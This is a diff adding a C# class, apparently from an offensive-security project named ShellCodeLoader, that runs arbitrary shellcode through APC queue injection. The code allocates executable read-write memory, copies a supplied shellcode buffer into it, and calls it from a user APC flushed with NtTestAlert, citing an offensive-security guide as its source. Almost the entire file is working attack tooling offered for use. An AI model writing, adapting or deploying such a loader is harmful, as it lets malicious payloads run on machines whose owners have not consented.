|
| 1 | +using Microsoft.Win32.SafeHandles; |
| 2 | +using System; |
| 3 | +using System.Diagnostics; |
| 4 | +using System.Runtime.InteropServices; |
| 5 | +using System.Threading; |
| 6 | +using static ShellCodeLoader.Shared; |
| 7 | +/* |
| 8 | +|| AUTHOR Arsium || |
| 9 | +|| github : https://github.com/arsium || |
| 10 | +|| Please let this credit for all the time I worked on || |
| 11 | +|| Guide & Inspirations : https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection |
| 12 | +*/ |
| 13 | +namespace ShellCodeLoader |
| 14 | +{ |
| 15 | + public class QueueAPC : IDisposable |
| 16 | + { |
| 17 | + |
| 18 | + private byte[] ShellCode; |
| 19 | + private uint RegionSize; |
| 20 | + private Process Target; |
| 21 | + private bool NewThread; |
| 22 | + |
| 23 | + public QueueAPC(byte[] shellCode, bool newThread = false) |
| 24 | + { |
| 25 | + this.ShellCode = shellCode; |
| 26 | + this.RegionSize = (uint)shellCode.Length; |
| 27 | + this.Target = Process.GetCurrentProcess(); |
| 28 | + this.NewThread = newThread; |
| 29 | + } |
| 30 | + private unsafe void CallBackQueueUserAPC(void* param) |
| 31 | + { |
| 32 | + IntPtr ptr = Imports.VirtualAllocEx(Target.Handle, IntPtr.Zero, (IntPtr)ShellCode.Length, TypeAlloc.MEM_COMMIT | TypeAlloc.MEM_RESERVE, Shared.PageProtection.PAGE_EXECUTE_READWRITE); |
| 33 | + |
| 34 | + UIntPtr writtenBytes; |
| 35 | + Imports.WriteProcessMemory(Target.Handle, ptr, ShellCode, (UIntPtr)ShellCode.Length, out writtenBytes); |
| 36 | + |
| 37 | + PageProtection flOld; |
| 38 | + Imports.VirtualProtect(ptr, RegionSize, PageProtection.PAGE_EXECUTE_READWRITE, out flOld); |
| 39 | + |
| 40 | + ShellCodeCaller s = (ShellCodeCaller)Marshal.GetDelegateForFunctionPointer(ptr, typeof(ShellCodeCaller)); |
| 41 | + s(); |
| 42 | + } |
| 43 | + |
| 44 | + private unsafe void QueueUserAPC() |
| 45 | + { |
| 46 | + if (NewThread) |
| 47 | + { |
| 48 | + new Thread(() => |
| 49 | + { |
| 50 | + //https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc |
| 51 | + Imports.CallBack s = new Imports.CallBack(CallBackQueueUserAPC); //set our callback for APC (the callback is a classic shellcode loader |
| 52 | + |
| 53 | + Imports.QueueUserAPC(s, Imports.GetCurrentThread(), IntPtr.Zero); //add apc to our thread |
| 54 | + |
| 55 | + //Imports.SleepEx(0, true); //now we have to set an alertable for our thread : https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls |
| 56 | + Imports.NtTestAlert(); //empty APC queue for the current thread |
| 57 | + |
| 58 | + }).Start(); |
| 59 | + } |
| 60 | + else |
| 61 | + { |
| 62 | + //https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc |
| 63 | + Imports.CallBack s = new Imports.CallBack(CallBackQueueUserAPC); //set our callback for APC (the callback is a classic shellcode loader |
| 64 | + |
| 65 | + Imports.QueueUserAPC(s, Imports.GetCurrentThread(), IntPtr.Zero); //add apc to our thread |
| 66 | + |
| 67 | + //Imports.SleepEx(0, true); //now we have to set an alertable for our thread : https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls |
| 68 | + Imports.NtTestAlert(); //empty APC queue for the current thread |
| 69 | + } |
| 70 | + } |
| 71 | + |
| 72 | + public void LoadWithQueueAPC() |
| 73 | + { |
| 74 | + QueueUserAPC(); |
| 75 | + } |
| 76 | + |
| 77 | + private static class Imports |
| 78 | + { |
| 79 | + internal const String KERNEL32 = "kernel32.dll"; |
| 80 | + internal const String NTDLL = "ntdll.dll"; |
| 81 | + |
| 82 | + |
| 83 | + public unsafe delegate void CallBack(void* param); |
| 84 | + public delegate void ShellCodeCaller(); |
| 85 | + |
| 86 | + |
| 87 | + [DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] |
| 88 | + public static unsafe extern uint QueueUserAPC(CallBack pFunction, IntPtr tHandle, IntPtr dwData); |
| 89 | + [DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] |
| 90 | + public static unsafe extern uint SleepEx(uint dwMilliseconds, bool bAlertable); |
| 91 | + [DllImport(NTDLL, SetLastError = true)] |
| 92 | + public static extern uint NtTestAlert(); |
| 93 | + |
| 94 | + |
| 95 | + [DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] |
| 96 | + public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UIntPtr nSize, out UIntPtr lpNumberOfBytesWritten); |
| 97 | + |
| 98 | + [DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] |
| 99 | + public static extern IntPtr VirtualAllocEx(IntPtr procHandle, IntPtr address, IntPtr numBytes, Shared.TypeAlloc commitOrReserve, Shared.PageProtection pageProtectionMode); |
| 100 | + |
| 101 | + [DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] |
| 102 | + public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, Shared.PageProtection flNewProtect, out Shared.PageProtection lpflOldProtect); |
| 103 | + [DllImport(KERNEL32, SetLastError = true, ExactSpelling = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] |
| 104 | + public static extern IntPtr GetCurrentThread(); |
| 105 | + } |
| 106 | + |
| 107 | + private bool _disposed = false; |
| 108 | + |
| 109 | + // Instantiate a SafeHandle instance. |
| 110 | + private SafeHandle _safeHandle = new SafeFileHandle(IntPtr.Zero, true); |
| 111 | + |
| 112 | + // Public implementation of Dispose pattern callable by consumers. |
| 113 | + public void Dispose() => Dispose(true); |
| 114 | + |
| 115 | + // Protected implementation of Dispose pattern. |
| 116 | + protected virtual void Dispose(bool disposing) |
| 117 | + { |
| 118 | + if (_disposed) |
| 119 | + { |
| 120 | + return; |
| 121 | + } |
| 122 | + |
| 123 | + if (disposing) |
| 124 | + { |
| 125 | + // Dispose managed state (managed objects). |
| 126 | + _safeHandle?.Dispose(); |
| 127 | + } |
| 128 | + |
| 129 | + _disposed = true; |
| 130 | + GC.SuppressFinalize(this); |
| 131 | + } |
| 132 | + } |
| 133 | +} |
0 commit comments